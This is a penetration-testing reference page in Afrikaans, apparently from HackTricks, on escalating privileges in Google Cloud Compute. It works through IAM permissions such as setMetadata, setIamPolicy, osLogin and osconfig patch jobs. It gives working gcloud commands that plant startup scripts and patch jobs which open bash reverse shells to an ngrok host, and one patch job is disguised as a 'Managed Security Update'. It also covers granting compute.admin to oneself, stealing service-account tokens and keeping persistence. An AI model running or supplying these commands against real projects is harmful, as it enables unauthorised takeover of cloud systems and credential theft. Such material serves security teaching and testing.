# GCP - Compute Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## Compute

Vir meer inligting oor Compute en VPC (netwerk) in GCP, kyk:

{{#ref}}
../../gcp-services/gcp-compute-instances-enum/
{{#endref}}

> [!CAUTION]
> Let daarop dat om al die privilege escalation aanvalle uit te voer wat vereis dat die metadata van die instansie gewysig word (soos om nuwe gebruikers en SSH sleutels by te voeg), dit **nodig is dat jy `actAs` toestemmings oor die SA wat aan die instansie geheg is, het**, selfs al is die SA reeds geheg!

### `compute.projects.setCommonInstanceMetadata`

Met daardie toestemming kan jy die **metadata** inligting van 'n **instansie** **wysig** en die **geautoriseerde sleutels van 'n gebruiker** verander, of 'n **nuwe gebruiker met sudo** toestemmings **skep**. Daarom sal jy in staat wees om via SSH in enige VM instansie in te log en die GCP Service Account waarmee die Instansie loop, te steel.\
Beperkings:

- Let daarop dat GCP Service Accounts wat in VM instansies loop, standaard 'n **baie beperkte omvang** het
- Jy sal **in staat moet wees om die SSH** bediener te kontak om in te log

Vir meer inligting oor hoe om hierdie toestemming te benut, kyk:

{{#ref}}
gcp-add-custom-ssh-metadata.md
{{#endref}}

Jy kan ook hierdie aanval uitvoer deur 'n nuwe opstart-skrip by te voeg en die instansie te herbegin:
```bash
gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance
```
### `compute.instances.setMetadata`

Hierdie toestemming gee die **dieselfde voorregte as die vorige toestemming** maar oor 'n spesifieke instansie in plaas van 'n hele projek. Die **dieselfde ontploffings en beperkings soos vir die vorige afdeling geld**.

### `compute.instances.setIamPolicy`

Hierdie tipe toestemming sal jou toelaat om **jouself 'n rol met die vorige toestemmings toe te ken** en voorregte te verhoog deur dit te misbruik. Hier is 'n voorbeeld om `roles/compute.admin` aan 'n Diensrekening toe te voeg:
```bash
export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE
```
### **`compute.instances.osLogin`**

As **OSLogin geaktiveer is in die instansie**, kan jy net **`gcloud compute ssh [INSTANCE]`** uitvoer en met die instansie verbind. Jy **sal nie root privs** binne die instansie hê nie.

> [!TIP]
> Om suksesvol in te log met hierdie toestemming binne die VM instansie, moet jy die `iam.serviceAccounts.actAs` toestemming oor die SA wat aan die VM geheg is, hê.

### **`compute.instances.osAdminLogin`**

As **OSLogin geaktiveer is in die instansie**, kan jy net **`gcloud compute ssh [INSTANCE]`** uitvoer en met die instansie verbind. Jy sal **root privs** binne die instansie hê.

> [!TIP]
> Om suksesvol in te log met hierdie toestemming binne die VM instansie, moet jy die `iam.serviceAccounts.actAs` toestemming oor die SA wat aan die VM geheg is, hê.

### `compute.instances.create`,`iam.serviceAccounts.actAs, compute.disks.create`, `compute.instances.create`, `compute.instances.setMetadata`, `compute.instances.setServiceAccount`, `compute.subnetworks.use`, `compute.subnetworks.useExternalIp`

Dit is moontlik om **'n virtuele masjien met 'n toegewyde Service Account te skep en die token** van die diensrekening te steel deur toegang tot die metadata om die bevoegdhede na dit te verhoog.

Die ontploffingskryscript vir hierdie metode kan [hier gevind word](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/compute.instances.create.py).

### `osconfig.patchDeployments.create` | `osconfig.patchJobs.exec`

As jy die **`osconfig.patchDeployments.create`** of **`osconfig.patchJobs.exec`** toestemmings het, kan jy 'n [**patch werk of ontplooiing**](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching) skep. Dit sal jou in staat stel om lateraal in die omgewing te beweeg en kode-uitvoering op al die rekenaarinstansies binne 'n projek te verkry.

Let daarop dat jy op die oomblik **nie `actAs` toestemming** oor die SA wat aan die instansie geheg is, nodig het nie.

As jy dit handmatig wil ontplof, sal jy of 'n [**patch werk**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_job.json) **of** [**ontplooiing**](https://github.com/rek7/patchy/blob/main/pkg/engine/patches/patch_deployment.json)** moet skep.**\
Vir 'n patch werk, voer in:
```python
cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s
```
Om 'n patch-implementering te ontplooi:
```bash
gcloud compute os-config patch-deployments create <name> ...
```
Die hulpmiddel [patchy](https://github.com/rek7/patchy) kon in die verlede gebruik word om hierdie miskonfigurasie te benut (maar dit werk nou nie).

**'n Aanvaller kan dit ook misbruik vir volharding.**

### `compute.machineImages.setIamPolicy`

**Gee jouself ekstra regte** op die rekenaarbeeld.

### `compute.snapshots.setIamPolicy`

**Gee jouself ekstra regte** op 'n skyfopname.

### `compute.disks.setIamPolicy`

**Gee jouself ekstra regte** op 'n skyf.

### Bypass Access Scopes

Volg hierdie skakel om 'n paar [**idees te vind om toegangskopes te omseil**](../).

### Plaaslike Privilege Escalation in GCP Compute-instansie

{{#ref}}
../gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}

## Verwysings

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../../banners/hacktricks-training.md}}
